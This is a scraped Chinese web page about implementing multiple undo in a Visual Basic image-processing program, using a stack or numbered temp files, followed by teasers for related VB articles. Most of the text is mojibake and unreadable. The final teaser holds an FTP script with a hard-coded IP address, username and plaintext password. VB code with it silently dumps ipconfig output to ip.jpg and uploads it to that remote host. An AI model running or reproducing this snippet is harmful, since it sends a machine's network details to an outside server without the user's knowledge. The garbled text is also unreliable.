VBͼÏñ´¦Àí¶à´ÎundoÈçºÎʵÏÖ
×ö±ÏÒµÂÛÎĵÄʱºòÓöµ½µÄÒ»¸öÎÊÌ⣬Çë½Ì¶¹°êÉϵÄÍøÓѲÅÓÐÁ˴𰸡£Ð»Ð»Õâλ½Ð“Òì²Ê”µÄÅóÓÑ¡£ÄóöÀ´Óë´ó¼Ò·ÖÏí¡£
¡¡¡¡ÓÃVB×öͼÏñ´¦ÀíÈí¼þµÄ±ÏÒµÂÛÎÄ£¬Óöµ½Ò»¸öÎÊÌâ¡£¼ÓÔØÒ»·ùͼƬ£¬Óöà¸öÂ˾µ·Ö±ð´¦Àí£¬ÏëÒ»²½Ò»²½UNDOµ½×îÔʼµÄͼÏñ£¬¶à´ÎUNDOÔõôʵÏÖ?
²Î¿¼·½°¸£º
Èç¹ûÏë×öµ½¶à´ÎUNDOµÄ»°, ÎÞÒÉÊÇÐèÒª¼Ç¼²Ù×÷µÄÿ´Î²½Öè. ¾ßÌåÓÐÁ½ÖÖÐÎʽ:
¡¡¡¡
¡¡¡¡1, ÔÚ³ÌÐòÄÚ´æÖдæÖü:
¡¡¡¡ ÔÚ³ÌÐòÖн¨Á¢Õ»(²»ÖªµÀÄãѧ¹ýûѧ¹ýÕ», Èç¹ûûÓеϰ¿ÉÖ±½ÓÀí½âΪÊý×é), Õ»Âú×ãÁ˺ó½øÏȳö(LIFO)µÄµÄ¹æÔò.
¡¡¡¡ ÔÚÿ´Î½øÐжÔͼÏñµÄ²Ù×÷ʱ, ¶¼½«ÉÏÒ»·ùͼÏñ±¸·Ý(×¢ÒâÊÇÉî²ã±¸·Ý, Èç¹ûÊÇdz±íÒýÓõϰÊÇÆð²»µ½Ð§¹ûµÄ)µ½µ½Õâ¸öÕ»ÖÐ. ÕâÑù, µ±Ö´ÐÐUNDOʱ, ¾Í¿ÉÒÔ´ÓÕ»ÀïÃæÌáȡһ¸öÉÏÒ»´Î±£´æµÄͼÏñ, Ìæ´úµ±Ç°Í¼Ïñ(²¢É¾³ýÕâ¸ö±¸·Ý), ÖªµÀÕâ¸öջΪ¿Õ. ʵÏÖÁ˶à´ÎUNDO.
¡¡¡¡ ÕâÖÖ·½·¨µÄÌØµãÊÇ´¦ÀíÊý¶È±È½Ï¿ì, µ«ÊÇÒ²·Ç³£ÏûºÄÄÚ´æ.
¡¡¡¡
¡¡¡¡2. ÔÚÎļþÖд洢:
¡¡¡¡ ͬÑùÊDZ¸·Ýÿ¸ö²Ù×÷ǰµÄͼÏñ,µ«Õâ´ÎÊÇ´æ´¢µ½Ó²ÅÌÉÏ, ÕâÐèÒªÄãÒÔÒ»¶¨µÄÎļþÃû¹æ·¶(xxx_temp_1.jpg, xxx_temp_2.jpgÒÀ´ÎµÈµÈ)È¥·ÀÖ¹ÖØÃûµÄÇé¿ö. ͬÑùÔÚUNDOµÄʱºò, È¥¼ÓÔØÉÏÒ»¸ö±àºÅµÄÎļþ, ²¢É¾³ýÖ®, ÕâÑùҲʵÏÖÁ˶à´ÎUNDO.
¡¡¡¡
¡¡¡¡ ÕâÖÖ·½·¨µÄÌØµã×ÔÈ»ÊÇÏûºÄÄÚ´æÉÙ, µ«ÊÇundoµÄ´¦ÀíËÙ¶ÈûÓÐǰÕß¿ì.
¡¡¡¡
¡¡¡¡3. Á½ÖÖ·½·¨½áºÏ.
¡¡¡¡ ÂÔ...
¡¡¡¡
¡¡
Ïà¹ØÎĵµ£º
¡¡¡¡SQLDMO£¨SQL Distributed Management Objects£¬SQL·Ö²¼Ê½¹ÜÀí¶ÔÏ󣩷â×° Microsoft SQL Server 2000 Êý¾Ý¿âÖеĶÔÏó¡£SQL-DMO ÔÊÐíÓÃÖ§³Ö×Ô¶¯»¯»ò COM µÄÓïÑÔ±àдӦÓóÌÐò£¬ÒÔ¹ÜÀí SQL Server °²×°µÄËùÓв¿·Ö¡£ SQL-DMO ÊÇ SQL Server 2000 ÖÐµÄ SQL Server ÆóÒµ¹ÜÀíÆ÷ËùʹÓõÄÓ¦ÓóÌÐò½Ó¿Ú (API);Òò´ËʹÓà SQL-DMO µÄÓ ......
ÌÖÂÛVBÖеĽṹÌå[×ªÔØ]
2009Äê10ÔÂ20ÈÕ ÐÇÆÚ¶þ 11:30
VBÀïÃæµÄ½á¹¹ÌåÊÇÒ»ÖÖWORD/DWORD¶ÔÆëµÄ½á¹¹Ì壬ÕâÒ»µãÔÚ±à³ÌÖÐÓÈÆäҪעÒ⣬Èç¹ûÊÇ´¿VB±à³Ì£¬Ôò½á¹¹ÌåµÄ¸÷¸öÓòÈçºÎÅÅÁпÉÒÔ»ù±¾²»ÓùØÐÄ£¬
¶øÈç¹ûÊǵ÷ÓÃAPI»òÕßÊǵ÷ÓÃÆäËûµÄ¶¯Ì¬Á´½Ó¿â£¬ÔòºÜÈÝÒ׳öÎÊÌ⣬ÔÒò¾ÍÔÚÓÚ£ºÕâЩ¶¯Ì¬Á´½Ó¿âÊÇÓÃC/C++дµÄ£¬¶ø´ó²¿·ÖC/C++»·¾³ ......
'******************************************************************************************
'* ÐèҪעÒâµÄÎÊÌâ *
'******************************************************************************************
'1.INIÎļþµÄ· ......
Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Sub Command1_Click() 'Ëø¶¨Êó±ê µ½Ä³Ò»Î»ÖÃ
......
ftp.txtÎļþÄÚÈÝΪ£º
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VBÄÚÈÝΪ£º
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......